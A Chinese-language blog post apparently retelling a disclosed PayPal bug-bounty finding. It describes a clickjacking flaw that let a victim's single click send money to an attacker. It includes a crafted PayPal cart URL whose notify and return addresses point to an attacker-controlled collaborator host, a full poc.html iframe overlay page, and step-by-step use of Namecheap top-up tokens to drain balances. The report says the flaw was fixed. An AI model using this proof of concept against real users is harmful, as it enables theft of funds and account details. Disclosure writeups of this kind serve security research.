白帽故事 · 2023年8月17日 0

【$3400】一次点击,攻击者轻松窃取用户余额!

如果告诉你:黑客只需你的一次点击即可从你的 PayPal 余额中窃取资金,是不是很有趣?本故事将向你展示白帽黑客如何在 PayPal 上发现极具影响力的漏洞:)。

概述

2021年11月,国外白帽向 PayPal 漏洞赏金计划报告了一个安全问题,攻击者可以利用点击劫持,从而窃取用户资金。

点击劫持,也被称为“UI 修正攻击”,是指攻击者使用多个透明或不透明层来诱骗用户在打算点击顶层页面时却真正点击了另一个页面上的按钮或链接,因此,攻击者“劫持”针对其页面的点击,并将用户成功引导至另一个页面,即可实现此类攻击。

具体可参考:https://owasp.org/www-community/attacks/Clickjacking

一个老BUG:https://www.paypal.com/agreements/approve 上的点击劫持在几年前就已被关闭为 N/A,并且没有人能够成功利用它。

该端点是为计费协议设计的,它应该只接受 billingAgreementToken ,但在白帽黑客的深入测试中,发现可以传递另一种代币类型,这将导致从受害者的 PayPal 帐户中窃取资金。

攻击者能够在 Iframe 中加载敏感的 paypal.com 端点,当攻击者点击“near to click here”时,就会购买一些东西。

当然,受害者首先要在浏览器中登录:

PoC:

"https://www.paypal.com/cgi-bin/webscr?address1=sectesting&address2=sectesting02&address_override=true&amount_1=1&business=<attacker@gmail.com>&cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&city=barika&cmd=_cart&country=DZ&currency_code=USD&email=<anything>@gmail.com&first_name=attacker&invoice=marketplace133703&item_name_1=attacker&item_number_1=133788802&last_name=attacker&notify_url=https://xxxxxx.burpcollaborator.net/notify_url&quantity_1=1&return=https://xxxxxx.burpcollaborator.net/return&state=05&upload=1&zip=1337"
  1. 通过上面链接,将 business 更改为攻击者 Paypal 电子邮件,将 return 和 notify_url 更改为攻击者的主机以接收 HTTP 请求,以及 amount_1 为从受害者的帐户中窃取的具体金额!

并且还可以将名字/姓氏和地址更改为攻击者的信息,当攻击者执行该操作时,帐单中的全名/地址将在受害者帐户中注册!

  1. 现在使用 CURL 发送 GET 请求,并 grep Token值。
    file

上传poc.html到远程主机,并将你的token放入ba_token参数中。

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
   <center> <img src="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg"></center> 
<style>
iframe { 
  width: 1920px;
  height: 1080px;
  position: absolute;
  top:0; left:-20px;
  opacity: 1.01; 
  z-index: 1;
}
</style>
<iframe src="https://www.paypal.com/agreements/approve?nolegacy=1&ba_token=<TOKEN>"></iframe>
<button style="position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;">Click here  to win 1337$ => </button>
</body>
</html>

注:真正的攻击中 opacity 应为0

现在在浏览器中登录你的 PayPal,然后打开 HTML 页面。

file

正如所看到的,虽然没有 CSS 的美化 ,但这个 POC 也基本足够了。

当受害者一旦点击了它,就会将钱汇到攻击者的PayPal账户,同时,攻击者的地址也将被设置为默认账单地址。

在 Burp Collaborator 中,当受害者点击时,也可以看到受害者帐户的完整信息:

file

下图为攻击者注入的帐单地址被设置为受害者 PayPal 帐户上的默认帐单地址:

file

第2部分

有一些在线服务可以让你使用 Paypal 添加余额到你的帐户,例如 steam!同样可以使用该漏洞强迫用户向攻击者的帐户添加资金!

又或者可以利用该漏洞,让受害者为攻击者创建/支付 Netflix 帐户!

下面的例子中使用了 namecheap.com

具体操作:

  1. 打开 https://ap.www.namecheap.com/Profile/Billing

2.点击充值

3.选择想从受害者账户窃取多少美元

4.点击 PayPal 结账

file

5.复制Token并将其添加到 poc.html

6.打开 HTML 页面
file

7.现在,当受害者点击“click here”时,他将使用与其 Paypal 账户关联的付款方式进行付款

已授权 Namecheap 会从受害者的 Paypal 帐户中提取一定的余额,然后转入攻击者的 Namecheap 帐户

8.当攻击者打开 https://ap.www.namecheap.com/profile/billing/topup/paypal/submit?&token= 时,攻击者将能够将钱添加到他的 Namecheap 帐户中

file

对于诱导点击漏洞,HackerOne 只是做了分类响应:

file

直到2022年6月17日,PayPal Bug Bounty 团队最终决定接受该报告并解决了此漏洞,同时发放 3200 美元的赏金奖励:

file